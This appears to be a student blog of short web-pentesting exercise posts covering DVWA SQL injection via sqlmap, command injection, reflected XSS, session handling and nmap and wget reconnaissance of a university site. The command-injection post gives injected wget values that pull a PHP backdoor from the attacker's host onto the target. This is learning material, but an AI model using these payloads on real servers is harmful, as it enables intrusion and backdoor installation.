Installing Backdoor in the Database through SQL Injection

Now, I will to explain about how to installing backdoor in the database through SQL Injection. For this practice, I try to use DVWA as web application. DVWA is already available web application about SQL Injection and SQL Injection (Blind).

First, I choose SQL Injection as my target. In the user id form, I just type admin and then click submit, but does not happen. Then, I try to copy address (from the site after I submit the admin as user id). I use sqlmap and try this command :

root@bt:/pentest/database/sqlmap# ./sqlmap.py –u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit"

but, this is failed to get database. Then, I try to use tamper data from browser. From tamper data, I get cookie and copy it. With sqlmap, I try to scan again with this command :

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101

/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit" --cookie="security=low; PHPSESSID=0pggchrjrb0lj1ttrobmp1ace4"

the result from the command above, I can see the parameter id is vulnerable and might me injectable.

Hacking System Through Web Application

Some people who create web usually not notice the secure from their web. It is dangerous and harmless. Through web application, we can attack the server.

In this post, I will to tell about my experience how to hacking server through web application.

First step, we must search the vulnerability from the web application. In this web, I found the command execution from the site.

Then, I try to ping the IP address (in this case, I already have IP address from the server).

After I write the IP address, the result appears below. It mean I can do something from this command execution.

Next, I try to upload image through command execution but nothing response or not happen anything. Then, I try to upload backdoor and the response is same with when I upload image.

To upload file through command execution we can use this command :

ip_target | wget our_ip_address/file.jpg -O 123.jpg (in this command we must start our apache and file must saved to /var/www/)

or we can use this command :

;wget (layout file)/file.php -O 123.php

Multi Level Login 2

I get a chance to looking for solution about multi level login 2. The following is a screenshoot from multi leve login 2 :

DVWA - CSRF (High)

In this chance, I will share my experience about DVWA. I have tried to complete DVWA with high level but I'm still confused. I still not understand about the purpose from this problem. this is some picture I've done :

Picture above is a page from CSRF with high level.

Data Validation Testing

TESTING FOR REFLECTED CROSS SITE SCRIPTING (OWASP-DV-001)

Reflected Cross-site Scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.

The following are the steps I have done :

1.      OWASP-DV-001

In this phase, I tried to write the following url :

http://akakom.ac.id/index.php?user=<script>alert(latihan)</script>, and here are the result :

 

Session Management, Authorization Testing, Business Logic Testing

This time I will tell you what I have done on the topic on session management.

This describes how to analyse a Session Management Schema, with the goal to understand how the Session Management

mechanism has been developed and if it is possible to break it to bypass the user session. It explains how to test the

security of session tokens issued to the client's browser: how to reverse engineer a cookie, and how to manipulate cookies

to hijack a session.

The following are the steps I have done :

1. Session Management-001

    - open browser

  - on the browser, click edit => Preferences => Advanced => Network => Setting => on the manual proxy configuration, use 127.0.0.1 as HTTP proxy and use 8008 as port.

    - open webscarab

Configuration Management Testing

This time I will tell you about material related to OWASP Testing Configuration Management. After reading the book from the OWASP testing guide about me and my group to try to practice the material on Testing Configuration Management. The following are the steps we have done :

1.      SSL / TLS Testing

With the konsole we write this command :

root@bt:~# nmap -F -sV akakom.ac.id

Starting Nmap 5.51 ( http://nmap.org ) at 2011-06-04 19:08 WIT

Nmap scan report for akakom.ac.id (110.76.151.2)

Host is up (0.97s latency).

Not shown: 87 closed ports

PORT    STATE    SERVICE      VERSION

22/tcp  open     ssh          OpenSSH 5.5 (protocol 2.0)

25/tcp  open     smtp         Sendmail 8.14.4/8.14.4

53/tcp  open     domain

80/tcp  open     http         Apache httpd

INFORMATION GATHERING

This time I will tell my first exercise of information gathering.

1.      OWASP-IG-001

Black box testing :

by using the console, I write this command :

root@bt:~# wget http://www.akakom.ac.id/robots.txt

--2011-06-02 09:48:22-- http://www.akakom.ac.id/robots.txt

Resolving www.akakom.ac.id... 110.76.151.4

Connecting to www.akakom.ac.id|110.76.151.4|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 304 [text/plain]

Saving to: `robots.txt'

100%[=============================================================>] 304 --.-K/s in0s

2011-06-02 09:48:22 (25.2 MB/s) - `robots.txt' saved [304/304]